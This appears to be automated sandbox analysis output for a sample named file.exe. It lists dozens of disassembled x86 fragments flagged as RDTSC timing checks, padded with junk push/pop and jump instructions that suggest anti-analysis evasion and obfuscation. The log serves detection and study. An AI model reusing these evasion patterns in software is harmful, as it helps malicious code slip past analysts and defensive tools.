Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FDB6 second address: 87FDFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F57D451A1B6h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, 03D4h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F57D451A1B8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f xor bl, FFFFFFF2h 0x00000032 push 00000000h 0x00000034 sub dword ptr [ebp+122D1A74h], ecx 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edi 0x0000003f pop edi 0x00000040 pop eax 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FDFE second address: 87FE0C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F037 second address: 87F060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F57D451A1BCh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F57D451A1BDh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F57D451A1B6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880045 second address: 88004F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F57D4F134D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880F42 second address: 880F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880F46 second address: 880F4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881F99 second address: 881FBC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F57D451A1BCh 0x00000008 jo 00007F57D451A1B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F57D451A1C0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883EBB second address: 883EC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883EC1 second address: 883EC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F24 second address: 882F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883EC8 second address: 883ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F28 second address: 882F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883ED6 second address: 883EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F2E second address: 882F57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007F57D4F134DCh 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883EDA second address: 883EE0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883031 second address: 883037 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888082 second address: 888088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888088 second address: 88808C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88931C second address: 88933E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F57D451A1C8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88933E second address: 889344 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA0D second address: 88DA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA13 second address: 88DA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F57D4F134E7h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA2F second address: 88DA38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DA38 second address: 88DA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jne 00007F57D4F134D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D16C second address: 88D18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D451A1C9h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D2DC second address: 88D2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D2E2 second address: 88D2E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D2E6 second address: 88D30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D4F134E9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jnc 00007F57D4F134D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D30E second address: 88D313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D313 second address: 88D31C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D31C second address: 88D322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891A7E second address: 891A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891C1A second address: 891C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A2D7 second address: 89A2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F57D4F134D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898E32 second address: 898E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F57D451A1C2h 0x00000010 jmp 00007F57D451A1C9h 0x00000015 jnp 00007F57D451A1B6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898E6F second address: 898E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898E75 second address: 898E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898E79 second address: 898E9C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F57D4F134D6h 0x00000008 jmp 00007F57D4F134E4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898E9C second address: 898EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899753 second address: 899759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899759 second address: 89976D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D451A1C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899BAA second address: 899BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a jns 00007F57D4F134D6h 0x00000010 jns 00007F57D4F134D6h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F57D4F134DBh 0x00000020 jg 00007F57D4F134D8h 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c push eax 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899FFC second address: 89A00E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F57D451A1BAh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A00E second address: 89A012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A28BC second address: 8A28C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A28C8 second address: 8A28CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A28CC second address: 8A28E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F57D451A1C2h 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1760 second address: 8A1777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D4F134E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1777 second address: 8A1781 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F57D451A1B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1925 second address: 8A1929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1929 second address: 8A192F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1BD5 second address: 8A1BF4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F57D4F134E9h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1BF4 second address: 8A1BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A126D second address: 8A12A4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F57D4F134E2h 0x00000008 jno 00007F57D4F134D6h 0x0000000e jns 00007F57D4F134D6h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jmp 00007F57D4F134E2h 0x0000001c push eax 0x0000001d push edx 0x0000001e jo 00007F57D4F134D6h 0x00000024 je 00007F57D4F134D6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A12A4 second address: 8A12E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1C6h 0x00000007 jmp 00007F57D451A1C4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F57D451A1BCh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2277 second address: 8A227D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A227D second address: 8A2283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2283 second address: 8A228E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F57D4F134D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2554 second address: 8A2558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5BFB second address: 8A5BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5BFF second address: 8A5C2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1C6h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F57D451A1BDh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A90BF second address: 8A90C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A90C3 second address: 8A90F7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F57D451A1B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F57D451A1D0h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007F57D451A1C8h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jp 00007F57D451A1B6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A90F7 second address: 8A910D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134DCh 0x00000007 jbe 00007F57D4F134D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A910D second address: 8A9114 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871E4B second address: 871E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871E4F second address: 871E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F57D451A1B8h 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jo 00007F57D451A1B6h 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871FB7 second address: 871FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D4F134E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87236D second address: 87237A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872A8E second address: 872A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F57D4F134D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872B42 second address: 872BB4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F57D451A1C4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub edi, 595A8B00h 0x00000011 lea eax, dword ptr [ebp+1248364Ch] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F57D451A1B8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 clc 0x00000032 jng 00007F57D451A1BCh 0x00000038 mov edi, dword ptr [ebp+1245D66Fh] 0x0000003e nop 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F57D451A1C7h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872BB4 second address: 872BBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872BBA second address: 872BC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F57D451A1B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872BC5 second address: 872BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F57D4F134E8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872BE8 second address: 872C28 instructions: 0x00000000 rdtsc 0x00000002 je 00007F57D451A1B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c mov dx, B75Fh 0x00000010 lea eax, dword ptr [ebp+12483608h] 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F57D451A1B8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr [ebp+1244C90Fh], ecx 0x00000036 push eax 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872C28 second address: 872C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872C2C second address: 852B52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F57D451A1BFh 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F57D451A1B8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov edx, esi 0x0000002e call dword ptr [ebp+122D24CAh] 0x00000034 jnl 00007F57D451A1C6h 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push ebx 0x0000003e pop ebx 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 852B52 second address: 852B57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A966A second address: 8A9679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9679 second address: 8A967F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9804 second address: 8A980A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9C05 second address: 8A9C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F57D4F134D6h 0x0000000a jmp 00007F57D4F134DBh 0x0000000f popad 0x00000010 push edi 0x00000011 jmp 00007F57D4F134E5h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9C32 second address: 8A9C47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F57D451A1B6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jbe 00007F57D451A1B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9C47 second address: 8A9C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE8CC second address: 8AE8D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AEF38 second address: 8AEF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF1E7 second address: 8AF1FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D451A1C2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF397 second address: 8AF3AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134DDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF3AE second address: 8AF3C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF3C0 second address: 8AF3C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF3C6 second address: 8AF3CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF53C second address: 8AF559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D4F134E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE4CD second address: 8AE4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F57D451A1CCh 0x0000000a jmp 00007F57D451A1C4h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
